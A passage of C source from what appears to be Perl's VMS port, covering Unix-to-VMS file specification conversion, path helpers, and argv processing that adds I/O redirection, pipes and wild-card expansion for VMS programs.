*vmsptr++ = '.';
vmslen++;
}
}
*vmsptr = '\0';
return SS$_NORMAL;
}
/* A convenience macro for copying dots in filenames and escaping
* them when they haven't already been escaped, with guards to
* avoid checking before the start of the buffer or advancing
* beyond the end of it (allowing room for the NUL terminator).
*/
#define VMSEFS_DOT_WITH_ESCAPE(vmsefsdot,vmsefsbuf,vmsefsbufsiz) STMT_START { \
if ( ((vmsefsdot) > (vmsefsbuf) && *((vmsefsdot) - 1) != '^' \
|| ((vmsefsdot) == (vmsefsbuf))) \
&& (vmsefsdot) < (vmsefsbuf) + (vmsefsbufsiz) - 3 \
) { \
*((vmsefsdot)++) = '^'; \
} \
if ((vmsefsdot) < (vmsefsbuf) + (vmsefsbufsiz) - 2) \
*((vmsefsdot)++) = '.'; \
} STMT_END
/*{{{ char *tovmsspec[_ts](char *path, char *buf, int * utf8_flag)*/
static char *
int_tovmsspec(const char *path, char *rslt, int dir_flag, int * utf8_flag)
{
char *dirend;
char *lastdot;
char *cp1;
const char *cp2;
unsigned long int infront = 0, hasdir = 1;
int rslt_len;
int no_type_seen;
char * v_spec, * r_spec, * d_spec, * n_spec, * e_spec, * vs_spec;
int sts, v_len, r_len, d_len, n_len, e_len, vs_len;
if (vms_debug_fileify) {
if (path == NULL)
fprintf(stderr, "int_tovmsspec: path = NULL\n");
else
fprintf(stderr, "int_tovmsspec: path = %s\n", path);
}
if (path == NULL) {
/* If we fail, we should be setting errno */
set_errno(EINVAL);
set_vaxc_errno(SS$_BADPARAM);
return NULL;
}
rslt_len = VMS_MAXRSS-1;
/* '.' and '..' are "[]" and "[-]" for a quick check */
if (path[0] == '.') {
if (path[1] == '\0') {
strcpy(rslt,"[]");
if (utf8_flag != NULL)
*utf8_flag = 0;
return rslt;
}
else {
if (path[1] == '.' && path[2] == '\0') {
strcpy(rslt,"[-]");
if (utf8_flag != NULL)
*utf8_flag = 0;
return rslt;
}
}
}
/* Posix specifications are now a native VMS format */
/*--------------------------------------------------*/
#if __CRTL_VER >= 80200000
if (DECC_POSIX_COMPLIANT_PATHNAMES) {
if (strBEGINs(path,"\"^UP^")) {
posix_to_vmsspec_hardway(rslt, rslt_len, path, dir_flag, utf8_flag);
return rslt;
}
}
#endif
/* This is really the only way to see if this is already in VMS format */
sts = vms_split_path
(path,
&v_spec,
&v_len,
&r_spec,
&r_len,
&d_spec,
&d_len,
&n_spec,
&n_len,
&e_spec,
&e_len,
&vs_spec,
&vs_len);
if (sts == 0) {
/* FIX-ME - If dir_flag is non-zero, then this is a mp_do_vmspath()
replacement, because the above parse just took care of most of
what is needed to do vmspath when the specification is already
in VMS format.
And if it is not already, it is easier to do the conversion as
part of this routine than to call this routine and then work on
the result.
*/
/* If VMS punctuation was found, it is already VMS format */
if ((v_len != 0) || (r_len != 0) || (d_len != 0) || (vs_len != 0)) {
if (utf8_flag != NULL)
*utf8_flag = 0;
my_strlcpy(rslt, path, VMS_MAXRSS);
if (vms_debug_fileify) {
fprintf(stderr, "int_tovmsspec: rslt = %s\n", rslt);
}
return rslt;
}
/* Now, what to do with trailing "." cases where there is no
extension? If this is a UNIX specification, and EFS characters
are enabled, then the trailing "." should be converted to a "^.".
But if this was already a VMS specification, then it should be
left alone.
So in the case of ambiguity, leave the specification alone.
*/
/* If there is a possibility of UTF8, then if any UTF8 characters
are present, then they must be converted to VTF-7
*/
if (utf8_flag != NULL)
*utf8_flag = 0;
my_strlcpy(rslt, path, VMS_MAXRSS);
if (vms_debug_fileify) {
fprintf(stderr, "int_tovmsspec: rslt = %s\n", rslt);
}
return rslt;
}
dirend = strrchr(path,'/');
if (dirend == NULL) {
/* If we get here with no Unix directory delimiters, then this is an
* ambiguous file specification, such as a Unix glob specification, a
* shell or make macro, or a filespec that would be valid except for
* unescaped extended characters. The safest thing if it's a macro
* is to pass it through as-is.
*/
if (strstr(path, "$(")) {
my_strlcpy(rslt, path, VMS_MAXRSS);
if (vms_debug_fileify) {
fprintf(stderr, "int_tovmsspec: rslt = %s\n", rslt);
}
return rslt;
}
hasdir = 0;
}
else if (*(dirend+1) == '.') { /* do we have trailing "/." or "/.." or "/..."? */
if (!*(dirend+2)) dirend +=2;
if (*(dirend+2) == '.' && !*(dirend+3)) dirend += 3;
if (*(dirend+2) == '.' && *(dirend+3) == '.' && !*(dirend+4)) dirend += 4;
}
cp1 = rslt;
cp2 = path;
lastdot = strrchr(cp2,'.');
if (*cp2 == '/') {
char *trndev;
int islnm, rooted;
STRLEN trnend;
while (*(cp2+1) == '/') cp2++; /* Skip multiple /s */
if (!*(cp2+1)) {
if (DECC_DISABLE_POSIX_ROOT) {
strcpy(rslt,"sys$disk:[000000]");
}
else {
strcpy(rslt,"sys$posix_root:[000000]");
}
if (utf8_flag != NULL)
*utf8_flag = 0;
if (vms_debug_fileify) {
fprintf(stderr, "int_tovmsspec: rslt = %s\n", rslt);
}
return rslt;
}
while (*(++cp2) != '/' && *cp2) *(cp1++) = *cp2;
*cp1 = '\0';
trndev = (char *)PerlMem_malloc(VMS_MAXRSS);
if (trndev == NULL) _ckvmssts_noperl(SS$_INSFMEM);
islnm = simple_trnlnm(rslt,trndev,VMS_MAXRSS-1);
/* DECC special handling */
if (!islnm) {
if (strEQ(rslt,"bin")) {
strcpy(rslt,"sys$system");
cp1 = rslt + 10;
*cp1 = 0;
islnm = simple_trnlnm(rslt,trndev,VMS_MAXRSS-1);
}
else if (strEQ(rslt,"tmp")) {
strcpy(rslt,"sys$scratch");
cp1 = rslt + 11;
*cp1 = 0;
islnm = simple_trnlnm(rslt,trndev,VMS_MAXRSS-1);
}
else if (!DECC_DISABLE_POSIX_ROOT) {
strcpy(rslt, "sys$posix_root");
cp1 = rslt + 14;
*cp1 = 0;
cp2 = path;
while (*(cp2+1) == '/') cp2++; /* Skip multiple /s */
islnm = simple_trnlnm(rslt,trndev,VMS_MAXRSS-1);
}
else if (strEQ(rslt,"dev")) {
if (strBEGINs(cp2,"/null")) {
if ((cp2[5] == 0) || (cp2[5] == '/')) {
strcpy(rslt,"NLA0");
cp1 = rslt + 4;
*cp1 = 0;
cp2 = cp2 + 5;
islnm = simple_trnlnm(rslt,trndev,VMS_MAXRSS-1);
}
}
}
}
trnend = islnm ? strlen(trndev) - 1 : 0;
islnm = trnend ? (trndev[trnend] == ']' || trndev[trnend] == '>') : 0;
rooted = islnm ? (trndev[trnend-1] == '.') : 0;
/* If the first element of the path is a logical name, determine
* whether it has to be translated so we can add more directories. */
if (!islnm || rooted) {
*(cp1++) = ':';
*(cp1++) = '[';
if (cp2 == dirend) while (infront++ < 6) *(cp1++) = '0';
else cp2++;
}
else {
if (cp2 != dirend) {
my_strlcpy(rslt, trndev, VMS_MAXRSS);
cp1 = rslt + trnend;
if (*cp2 != 0) {
*(cp1++) = '.';
cp2++;
}
}
else {
if (DECC_DISABLE_POSIX_ROOT) {
*(cp1++) = ':';
hasdir = 0;
}
}
}
PerlMem_free(trndev);
}
else if (hasdir) {
*(cp1++) = '[';
if (*cp2 == '.') {
if (*(cp2+1) == '/' || *(cp2+1) == '\0') {
cp2 += 2; /* skip over "./" - it's redundant */
*(cp1++) = '.'; /* but it does indicate a relative dirspec */
}
else if (*(cp2+1) == '.' && (*(cp2+2) == '/' || *(cp2+2) == '\0')) {
*(cp1++) = '-'; /* "../" --> "-" */
cp2 += 3;
}
else if (*(cp2+1) == '.' && *(cp2+2) == '.' &&
(*(cp2+3) == '/' || *(cp2+3) == '\0')) {
*(cp1++) = '.'; *(cp1++) = '.'; *(cp1++) = '.'; /* ".../" --> "..." */
if (!*(cp2+4)) *(cp1++) = '.'; /* Simulate trailing '/' for later */
cp2 += 4;
}
else if ((cp2 != lastdot) || (lastdot < dirend)) {
/* Escape the extra dots in EFS file specifications */
*(cp1++) = '^';
}
if (cp2 > dirend) cp2 = dirend;
}
else *(cp1++) = '.';
}
for (; cp2 < dirend; cp2++) {
if (*cp2 == '/') {
if (*(cp2-1) == '/') continue;
if (cp1 > rslt && *(cp1-1) != '.') *(cp1++) = '.';
infront = 0;
}
else if (!infront && *cp2 == '.') {
if (cp2+1 == dirend || *(cp2+1) == '\0') { cp2++; break; }
else if (*(cp2+1) == '/') cp2++; /* skip over "./" - it's redundant */
else if (*(cp2+1) == '.' && (*(cp2+2) == '/' || *(cp2+2) == '\0')) {
if (cp1 > rslt && (*(cp1-1) == '-' || *(cp1-1) == '[')) *(cp1++) = '-'; /* handle "../" */
else if (cp1 > rslt + 1 && *(cp1-2) == '[') *(cp1-1) = '-';
else {
*(cp1++) = '-';
}
cp2 += 2;
if (cp2 == dirend) break;
}
else if ( *(cp2+1) == '.' && *(cp2+2) == '.' &&
(*(cp2+3) == '/' || *(cp2+3) == '\0') ) {
if (cp1 > rslt && *(cp1-1) != '.') *(cp1++) = '.'; /* May already have 1 from '/' */
*(cp1++) = '.'; *(cp1++) = '.'; /* ".../" --> "..." */
if (!*(cp2+3)) {
*(cp1++) = '.'; /* Simulate trailing '/' */
cp2 += 2; /* for loop will incr this to == dirend */
}
else cp2 += 3; /* Trailing '/' was there, so skip it, too */
}
else {
if (DECC_EFS_CHARSET == 0) {
if (cp1 > rslt && *(cp1-1) == '^')
cp1--; /* remove the escape, if any */
*(cp1++) = '_'; /* fix up syntax - '.' in name not allowed */
}
else {
VMSEFS_DOT_WITH_ESCAPE(cp1, rslt, VMS_MAXRSS);
}
}
}
else {
if (!infront && cp1 > rslt && *(cp1-1) == '-') *(cp1++) = '.';
if (*cp2 == '.') {
if (DECC_EFS_CHARSET == 0) {
if (cp1 > rslt && *(cp1-1) == '^')
cp1--; /* remove the escape, if any */
*(cp1++) = '_';
}
else {
VMSEFS_DOT_WITH_ESCAPE(cp1, rslt, VMS_MAXRSS);
}
}
else {
int out_cnt;
cp2 += copy_expand_unix_filename_escape(cp1, cp2, &out_cnt, utf8_flag);
cp2--; /* we're in a loop that will increment this */
cp1 += out_cnt;
}
infront = 1;
}
}
if (cp1 > rslt && *(cp1-1) == '.') cp1--; /* Unix spec ending in '/' ==> trailing '.' */
if (hasdir) *(cp1++) = ']';
if (*cp2 && *cp2 == '/') cp2++; /* check in case we ended with trailing '/' */
no_type_seen = 0;
if (cp2 > lastdot)
no_type_seen = 1;
while (*cp2) {
switch(*cp2) {
case '?':
if (DECC_EFS_CHARSET == 0)
*(cp1++) = '%';
else
*(cp1++) = '?';
cp2++;
break;
case ' ':
if (cp2 >= path && (cp2 == path || *(cp2-1) != '^')) /* not previously escaped */
*(cp1)++ = '^';
*(cp1)++ = '_';
cp2++;
break;
case '.':
if (((cp2 < lastdot) || (cp2[1] == '\0')) &&
DECC_READDIR_DROPDOTNOTYPE) {
VMSEFS_DOT_WITH_ESCAPE(cp1, rslt, VMS_MAXRSS);
cp2++;
/* trailing dot ==> '^..' on VMS */
if (*cp2 == '\0') {
*(cp1++) = '.';
no_type_seen = 0;
}
}
else {
*(cp1++) = *(cp2++);
no_type_seen = 0;
}
break;
case '$':
/* This could be a macro to be passed through */
*(cp1++) = *(cp2++);
if (*cp2 == '(') {
const char * save_cp2;
char * save_cp1;
int is_macro;
/* paranoid check */
save_cp2 = cp2;
save_cp1 = cp1;
is_macro = 0;
/* Test through */
*(cp1++) = *(cp2++);
if (isALPHA_L1(*cp2) || (*cp2 == '.') || (*cp2 == '_')) {
*(cp1++) = *(cp2++);
while (isALPHA_L1(*cp2) || (*cp2 == '.') || (*cp2 == '_')) {
*(cp1++) = *(cp2++);
}
if (*cp2 == ')') {
*(cp1++) = *(cp2++);
is_macro = 1;
}
}
if (is_macro == 0) {
/* Not really a macro - never mind */
cp2 = save_cp2;
cp1 = save_cp1;
}
}
break;
case '\"':
case '`':
case '!':
case '#':
case '%':
case '^':
/* Don't escape again if following character is
* already something we escape.
*/
if (strchr("\"`!#%^&()=+\'@[]{}:\\|<>_.", *(cp2+1))) {
*(cp1++) = *(cp2++);
break;
}
/* But otherwise fall through and escape it. */
case '&':
case '(':
case ')':
case '=':
case '+':
case '\'':
case '@':
case '[':
case ']':
case '{':
case '}':
case ':':
case '\\':
case '|':
case '<':
case '>':
if (cp2 >= path && *(cp2-1) != '^') /* not previously escaped */
*(cp1++) = '^';
*(cp1++) = *(cp2++);
break;
case ';':
/* If it doesn't look like the beginning of a version number,
* or we've been promised there are no version numbers, then
* escape it.
*/
if (DECC_FILENAME_UNIX_NO_VERSION) {
*(cp1++) = '^';
}
else {
size_t all_nums = strspn(cp2+1, "0123456789");
if (all_nums > 5 || *(cp2 + all_nums + 1) != '\0')
*(cp1++) = '^';
}
*(cp1++) = *(cp2++);
break;
default:
*(cp1++) = *(cp2++);
}
}
if ((no_type_seen == 1) && DECC_READDIR_DROPDOTNOTYPE) {
char *lcp1;
lcp1 = cp1;
lcp1--;
/* Fix me for "^]", but that requires making sure that you do
* not back up past the start of the filename
*/
if ((*lcp1 != ']') && (*lcp1 != '*') && (*lcp1 != '%'))
*cp1++ = '.';
}
*cp1 = '\0';
if (utf8_flag != NULL)
*utf8_flag = 0;
if (vms_debug_fileify) {
fprintf(stderr, "int_tovmsspec: rslt = %s\n", rslt);
}
return rslt;
} /* end of int_tovmsspec() */
/*{{{ char *tovmsspec[_ts](char *path, char *buf, int * utf8_flag)*/
static char *
mp_do_tovmsspec(pTHX_ const char *path, char *buf, int ts, int dir_flag, int * utf8_flag)
{
static char __tovmsspec_retbuf[VMS_MAXRSS];
char * vmsspec, *ret_spec, *ret_buf;
vmsspec = NULL;
ret_buf = buf;
if (ret_buf == NULL) {
if (ts) {
Newx(vmsspec, VMS_MAXRSS, char);
if (vmsspec == NULL)
_ckvmssts(SS$_INSFMEM);
ret_buf = vmsspec;
} else {
ret_buf = __tovmsspec_retbuf;
}
}
ret_spec = int_tovmsspec(path, ret_buf, 0, utf8_flag);
if (ret_spec == NULL) {
/* Cleanup on isle 5, if this is thread specific we need to deallocate */
if (vmsspec)
Safefree(vmsspec);
}
return ret_spec;
} /* end of mp_do_tovmsspec() */
/*}}}*/
/* External entry points */
char *
Perl_tovmsspec(pTHX_ const char *path, char *buf)
{
return do_tovmsspec(path, buf, 0, NULL);
}
char *
Perl_tovmsspec_ts(pTHX_ const char *path, char *buf)
{
return do_tovmsspec(path, buf, 1, NULL);
}
char *
Perl_tovmsspec_utf8(pTHX_ const char *path, char *buf, int * utf8_fl)
{
return do_tovmsspec(path, buf, 0, utf8_fl);
}
char *
Perl_tovmsspec_utf8_ts(pTHX_ const char *path, char *buf, int * utf8_fl)
{
return do_tovmsspec(path, buf, 1, utf8_fl);
}
/*{{{ char *int_tovmspath(char *path, char *buf, const int *)*/
/* Internal routine for use with out an explicit context present */
static char *
int_tovmspath(const char *path, char *buf, int * utf8_fl)
{
char * ret_spec, *pathified;
if (path == NULL)
return NULL;
pathified = (char *)PerlMem_malloc(VMS_MAXRSS);
if (pathified == NULL)
_ckvmssts_noperl(SS$_INSFMEM);
ret_spec = int_pathify_dirspec(path, pathified);
if (ret_spec == NULL) {
PerlMem_free(pathified);
return NULL;
}
ret_spec = int_tovmsspec(pathified, buf, 0, utf8_fl);
PerlMem_free(pathified);
return ret_spec;
}
/*{{{ char *tovmspath[_ts](char *path, char *buf, const int *)*/
static char *
mp_do_tovmspath(pTHX_ const char *path, char *buf, int ts, int * utf8_fl)
{
static char __tovmspath_retbuf[VMS_MAXRSS];
int vmslen;
char *pathified, *vmsified, *cp;
if (path == NULL) return NULL;
pathified = (char *)PerlMem_malloc(VMS_MAXRSS);
if (pathified == NULL) _ckvmssts(SS$_INSFMEM);
if (int_pathify_dirspec(path, pathified) == NULL) {
PerlMem_free(pathified);
return NULL;
}
vmsified = NULL;
if (buf == NULL)
Newx(vmsified, VMS_MAXRSS, char);
if (do_tovmsspec(pathified, buf ? buf : vmsified, 0, NULL) == NULL) {
PerlMem_free(pathified);
if (vmsified) Safefree(vmsified);
return NULL;
}
PerlMem_free(pathified);
if (buf) {
return buf;
}
else if (ts) {
vmslen = strlen(vmsified);
Newx(cp,vmslen+1,char);
memcpy(cp,vmsified,vmslen);
cp[vmslen] = '\0';
Safefree(vmsified);
return cp;
}
else {
my_strlcpy(__tovmspath_retbuf, vmsified, sizeof(__tovmspath_retbuf));
Safefree(vmsified);
return __tovmspath_retbuf;
}
} /* end of do_tovmspath() */
/*}}}*/
/* External entry points */
char *
Perl_tovmspath(pTHX_ const char *path, char *buf)
{
return do_tovmspath(path, buf, 0, NULL);
}
char *
Perl_tovmspath_ts(pTHX_ const char *path, char *buf)
{
return do_tovmspath(path, buf, 1, NULL);
}
char *
Perl_tovmspath_utf8(pTHX_ const char *path, char *buf, int *utf8_fl)
{
return do_tovmspath(path, buf, 0, utf8_fl);
}
char *
Perl_tovmspath_utf8_ts(pTHX_ const char *path, char *buf, int *utf8_fl)
{
return do_tovmspath(path, buf, 1, utf8_fl);
}
/*{{{ char *tounixpath[_ts](char *path, char *buf, int * utf8_fl)*/
static char *
mp_do_tounixpath(pTHX_ const char *path, char *buf, int ts, int * utf8_fl)
{
static char __tounixpath_retbuf[VMS_MAXRSS];
int unixlen;
char *pathified, *unixified, *cp;
if (path == NULL) return NULL;
pathified = (char *)PerlMem_malloc(VMS_MAXRSS);
if (pathified == NULL) _ckvmssts(SS$_INSFMEM);
if (int_pathify_dirspec(path, pathified) == NULL) {
PerlMem_free(pathified);
return NULL;
}
unixified = NULL;
if (buf == NULL) {
Newx(unixified, VMS_MAXRSS, char);
}
if (do_tounixspec(pathified,buf ? buf : unixified,0,NULL) == NULL) {
PerlMem_free(pathified);
if (unixified) Safefree(unixified);
return NULL;
}
PerlMem_free(pathified);
if (buf) {
return buf;
}
else if (ts) {
unixlen = strlen(unixified);
Newx(cp,unixlen+1,char);
memcpy(cp,unixified,unixlen);
cp[unixlen] = '\0';
Safefree(unixified);
return cp;
}
else {
my_strlcpy(__tounixpath_retbuf, unixified, sizeof(__tounixpath_retbuf));
Safefree(unixified);
return __tounixpath_retbuf;
}
} /* end of do_tounixpath() */
/*}}}*/
/* External entry points */
char *
Perl_tounixpath(pTHX_ const char *path, char *buf)
{
return do_tounixpath(path, buf, 0, NULL);
}
char *
Perl_tounixpath_ts(pTHX_ const char *path, char *buf)
{
return do_tounixpath(path, buf, 1, NULL);
}
char *
Perl_tounixpath_utf8(pTHX_ const char *path, char *buf, int * utf8_fl)
{
return do_tounixpath(path, buf, 0, utf8_fl);
}
char *
Perl_tounixpath_utf8_ts(pTHX_ const char *path, char *buf, int * utf8_fl)
{
return do_tounixpath(path, buf, 1, utf8_fl);
}
/*
* @(#)argproc.c 2.2 94/08/16 Mark Pizzolato (mark AT infocomm DOT com)
*
*****************************************************************************
* *
* Copyright (C) 1989-1994, 2007 by *
* Mark Pizzolato - INFO COMM, Danville, California (510) 837-5600 *
* *
* Permission is hereby granted for the reproduction of this software *
* on condition that this copyright notice is included in source *
* distributions of the software. The code may be modified and *
* distributed under the same terms as Perl itself. *
* *
* 27-Aug-1994 Modified for inclusion in perl5 *
* by Charles Bailey (bailey AT newman DOT upenn DOT edu) *
*****************************************************************************
*/
/*
* getredirection() is intended to aid in porting C programs
* to VMS (Vax-11 C). The native VMS environment does not support
* '>' and '<' I/O redirection, or command line wild card expansion,
* or a command line pipe mechanism using the '|' AND background
* command execution '&'. All of these capabilities are provided to any
* C program which calls this procedure as the first thing in the
* main program.
* The piping mechanism will probably work with almost any 'filter' type
* of program. With suitable modification, it may useful for other
* portability problems as well.
*
* Author: Mark Pizzolato (mark AT infocomm DOT com)
*/
struct list_item
{
struct list_item *next;
char *value;
};
static void add_item(struct list_item **head,
struct list_item **tail,
char *value,
int *count);
static void mp_expand_wild_cards(pTHX_ char *item,
struct list_item **head,
struct list_item **tail,
int *count);
static int background_process(pTHX_ int argc, char **argv);
static void pipe_and_fork(pTHX_ char **cmargv);
/*{{{ void getredirection(int *ac, char ***av)*/
static void
mp_getredirection(pTHX_ int *ac, char ***av)
/*
* Process vms redirection arg's. Exit if any error is seen.
* If getredirection() processes an argument, it is erased
* from the vector. getredirection() returns a new argc and argv value.
* In the event that a background command is requested (by a trailing "&"),
* this routine creates a background subprocess, and simply exits the program.
*
* Warning: do not try to simplify the code for vms. The code
* presupposes that getredirection() is called before any data is
* read from stdin or written to stdout.
*
* Normal usage is as follows:
*
* main(argc, argv)
* int argc;
* char *argv[];
* {
* getredirection(&argc, &argv);
* }
*/
{
int argc = *ac; /* Argument Count */
char **argv = *av; /* Argument Vector */
char *ap; /* Argument pointer */
int j; /* argv[] index */
int item_count = 0; /* Count of Items in List */
struct list_item *list_head = 0; /* First Item in List */
struct list_item *list_tail; /* Last Item in List */
char *in = NULL; /* Input File Name */
char *out = NULL; /* Output File Name */
char *outmode = "w"; /* Mode to Open Output File */
char *err = NULL; /* Error File Name */
char *errmode = "w"; /* Mode to Open Error File */
int cmargc = 0; /* Piped Command Arg Count */
char **cmargv = NULL;/* Piped Command Arg Vector */
/*
* First handle the case where the last thing on the line ends with
* a '&'. This indicates the desire for the command to be run in a
* subprocess, so we satisfy that desire.
*/
ap = argv[argc-1];
if (strEQ(ap, "&"))
exit(background_process(aTHX_ --argc, argv));
if (*ap && '&' == ap[strlen(ap)-1])
{
ap[strlen(ap)-1] = '\0';
exit(background_process(aTHX_ argc, argv));
}
/*
* Now we handle the general redirection cases that involve '>', '>>',
* '<', and pipes '|'.
*/
for (j = 0; j < argc; ++j)
{
if (strEQ(argv[j], "<"))
{
if (j+1 >= argc)
{
fprintf(stderr,"No input file after < on command line");
exit(LIB$_WRONUMARG);
}
in = argv[++j];
continue;
}
if ('<' == *(ap = argv[j]))
{
in = 1 + ap;
continue;
}
if (strEQ(ap, ">"))
{
if (j+1 >= argc)
{
fprintf(stderr,"No output file after > on command line");
exit(LIB$_WRONUMARG);
}
out = argv[++j];
continue;
}
if ('>' == *ap)
{
if ('>' == ap[1])
{
outmode = "a";
if ('\0' == ap[2])
out = argv[++j];
else
out = 2 + ap;
}
else
out = 1 + ap;
if (j >= argc)
{
fprintf(stderr,"No output file after > or >> on command line");
exit(LIB$_WRONUMARG);
}
continue;
}
if (('2' == *ap) && ('>' == ap[1]))
{
if ('>' == ap[2])
{
errmode = "a";
if ('\0' == ap[3])
err = argv[++j];
else
err = 3 + ap;
}
else
if ('\0' == ap[2])
err = argv[++j];
else
err = 2 + ap;
if (j >= argc)
{
fprintf(stderr,"No output file after 2> or 2>> on command line");
exit(LIB$_WRONUMARG);
}
continue;
}
if (strEQ(argv[j], "|"))
{
if (j+1 >= argc)
{
fprintf(stderr,"No command into which to pipe on command line");
exit(LIB$_WRONUMARG);
}
cmargc = argc-(j+1);
cmargv = &argv[j+1];
argc = j;
continue;
}
if ('|' == *(ap = argv[j]))
{
++argv[j];
cmargc = argc-j;
cmargv = &argv[j];
argc = j;
continue;
}
expand_wild_cards(ap, &list_head, &list_tail, &item_count);
}
/*
* Allocate and fill in the new argument vector, Some Unix's terminate
* the list with an extra null pointer.
*/
argv = (char **) PerlMem_malloc((item_count+1) * sizeof(char *));
if (argv == NULL) _ckvmssts_noperl(SS$_INSFMEM);
*av = argv;
for (j = 0; j < item_count; ++j, list_head = list_head->next)
argv[j] = list_head->value;
*ac = item_count;
if (cmargv != NULL)
{
if (out != NULL)
{
fprintf(stderr,"'|' and '>' may not both be specified on command line");
exit(LIB$_INVARGORD);
}
pipe_and_fork(aTHX_ cmargv);
}
/* Check for input from a pipe (mailbox) */
if (in == NULL && 1 == isapipe(0))
{
char mbxname[L_tmpnam];
long int bufsize;
long int dvi_item = DVI$_DEVBUFSIZ;
$DESCRIPTOR(mbxnam, "");
$DESCRIPTOR(mbxdevnam, "");
/* Input from a pipe, reopen it in binary mode to disable */
/* carriage control processing. */
fgetname(stdin, mbxname, 1);
mbxnam.dsc$a_pointer = mbxname;
mbxnam.dsc$w_length = strlen(mbxnam.dsc$a_pointer);
lib$getdvi(&dvi_item, 0, &mbxnam, &bufsize, 0, 0);
mbxdevnam.dsc$a_pointer = mbxname;
mbxdevnam.dsc$w_length = sizeof(mbxname);
dvi_item = DVI$_DEVNAM;
lib$getdvi(&dvi_item, 0, &mbxnam, 0, &mbxdevnam, &mbxdevnam.dsc$w_length);
mbxdevnam.dsc$a_pointer[mbxdevnam.dsc$w_length] = '\0';
set_errno(0);
set_vaxc_errno(1);
freopen(mbxname, "rb", stdin);
if (errno != 0)
{
fprintf(stderr,"Can't reopen input pipe (name: %s) in binary mode",mbxname);
exit(vaxc$errno);
}
}
if ((in != NULL) && (NULL == freopen(in, "r", stdin, "mbc=32", "mbf=2")))
{
fprintf(stderr,"Can't open input file %s as stdin",in);
exit(vaxc$errno);
}
if ((out != NULL) && (NULL == freopen(out, outmode, stdout, "mbc=32", "mbf=2")))
{
fprintf(stderr,"Can't open output file %s as stdout",out);
exit(vaxc$errno);
}
if (out != NULL) vmssetuserlnm("SYS$OUTPUT", out);
if (err != NULL) {
if (strEQ(err, "&1")) {
dup2(fileno(stdout), fileno(stderr));
vmssetuserlnm("SYS$ERROR", "SYS$OUTPUT");
} else {
FILE *tmperr;
if (NULL == (tmperr = fopen(err, errmode, "mbc=32", "mbf=2")))
{
fprintf(stderr,"Can't open error file %s as stderr",err);
exit(vaxc$errno);
}
fclose(tmperr);
if (NULL == freopen(err, "a", stderr, "mbc=32", "mbf=2"))
{
exit(vaxc$errno);
}
vmssetuserlnm("SYS$ERROR", err);
}
}
#ifdef ARGPROC_DEBUG
PerlIO_printf(Perl_debug_log, "Arglist:\n");
for (j = 0; j < *ac; ++j)
PerlIO_printf(Perl_debug_log, "argv[%d] = '%s'\n", j, argv[j]);
#endif
/* Clear errors we may have hit expanding wildcards, so they don't
show up in Perl's $! later */
set_errno(0); set_vaxc_errno(1);
} /* end of getredirection() */
/*}}}*/
static void
add_item(struct list_item **head, struct list_item **tail, char *value, int *count)
{
if (*head == 0)
{
*head = (struct list_item *) PerlMem_malloc(sizeof(struct list_item));
if (head == NULL) _ckvmssts_noperl(SS$_INSFMEM);
*tail = *head;
}
else {
(*tail)->next = (struct list_item *) PerlMem_malloc(sizeof(struct list_item));
if ((*tail)->next == NULL) _ckvmssts_noperl(SS$_INSFMEM);
*tail = (*tail)->next;
}
(*tail)->value = value;
++(*count);
}
static void
mp_expand_wild_cards(pTHX_ char *item, struct list_item **head,
struct list_item **tail, int *count)
{
int expcount = 0;
unsigned long int context = 0;
int isunix = 0;
int item_len = 0;
char *had_version;
char *had_device;
int had_directory;
char *devdir,*cp;
char *vmsspec;
$DESCRIPTOR(filespec, "");
$DESCRIPTOR(defaultspec, "SYS$DISK:[]");
$DESCRIPTOR(resultspec, "");
unsigned long int lff_flags = 0;
int sts;
int rms_sts;
#ifdef VMS_LONGNAME_SUPPORT
lff_flags = LIB$M_FIL_LONG_NAMES;
#endif
for (cp = item; *cp; cp++) {
if (*cp == '*' || *cp == '%' || isSPACE_L1(*cp)) break;
if (*cp == '.' && *(cp-1) == '.' && *(cp-2) =='.') break;
}
if (!*cp || isSPACE_L1(*cp))
{
add_item(head, tail, item, count);
return;
}
else
{
/* "double quoted" wild card expressions pass as is */
/* From DCL that means using e.g.: */
/* perl program """perl.*""" */
item_len = strlen(item);
if ( '"' == *item && '"' == item[item_len-1] )
{
item++;
item[item_len-2] = '\0';
add_item(head, tail, item, count);
return;
}
}
resultspec.dsc$b_dtype = DSC$K_DTYPE_T;
resultspec.dsc$b_class = DSC$K_CLASS_D;
resultspec.dsc$a_pointer = NULL;
vmsspec = (char *)PerlMem_malloc(VMS_MAXRSS);
if (vmsspec == NULL) _ckvmssts_noperl(SS$_INSFMEM);
if ((isunix = (int) strchr(item,'/')) != (int) NULL)
filespec.dsc$a_pointer = int_tovmsspec(item, vmsspec, 0, NULL);
if (!isunix || !filespec.dsc$a_pointer)
filespec.dsc$a_pointer = item;
filespec.dsc$w_length = strlen(filespec.dsc$a_pointer);
/*
* Only return version specs, if the caller specified a version
*/
had_version = strchr(item, ';');
/*
* Only return device and directory specs, if the caller specified either.
*/
had_device = strchr(item, ':');
had_directory = (isunix || NULL != strchr(item, '[')) || (NULL != strchr(item, '<'));
while ($VMS_STATUS_SUCCESS(sts = lib$find_file
(&filespec, &resultspec, &context,
&defaultspec, 0, &rms_sts, &lff_flags)))
{
char *string;
char *c;
string = (char *)PerlMem_malloc(resultspec.dsc$w_length+1);
if (string == NULL) _ckvmssts_noperl(SS$_INSFMEM);
my_strlcpy(string, resultspec.dsc$a_pointer, resultspec.dsc$w_length+1);
if (NULL == had_version)
*(strrchr(string, ';')) = '\0';
if ((!had_directory) && (had_device == NULL))
{
if (NULL == (devdir = strrchr(string, ']')))
devdir = strrchr(string, '>');
my_strlcpy(string, devdir + 1, resultspec.dsc$w_length+1);
}
/*
* Be consistent with what the C RTL has already done to the rest of
* the argv items and lowercase all of these names.
*/
if (!DECC_EFS_CASE_PRESERVE) {
for (c = string; *c; ++c)
if (isupper(*c))
*c = toLOWER_L1(*c);
}
if (isunix) trim_unixpath(string,item,1);
add_item(head, tail, string, count);
++expcount;
}
PerlMem_free(vmsspec);
if (sts != RMS$_NMF)
{
set_vaxc_errno(sts);
switch (sts)
{
case RMS$_FNF: case RMS$_DNF:
set_errno(ENOENT); break;
case RMS$_DIR:
set_errno(ENOTDIR); break;
case RMS$_DEV:
set_errno(ENODEV); break;
case RMS$_FNM: case RMS$_SYN:
set_errno(EINVAL); break;
case RMS$_PRV:
set_errno(EACCES); break;
default:
_ckvmssts_noperl(sts);
}
}
if (expcount == 0)
add_item(head, tail, item, count);
_ckvmssts_noperl(lib$sfree1_dd(&resultspec));
_ckvmssts_noperl(lib$find_file_end(&context));
}
static void
pipe_and_fork(pTHX_ char **cmargv)
{
PerlIO *fp;
struct dsc$descriptor_s *vmscmd;
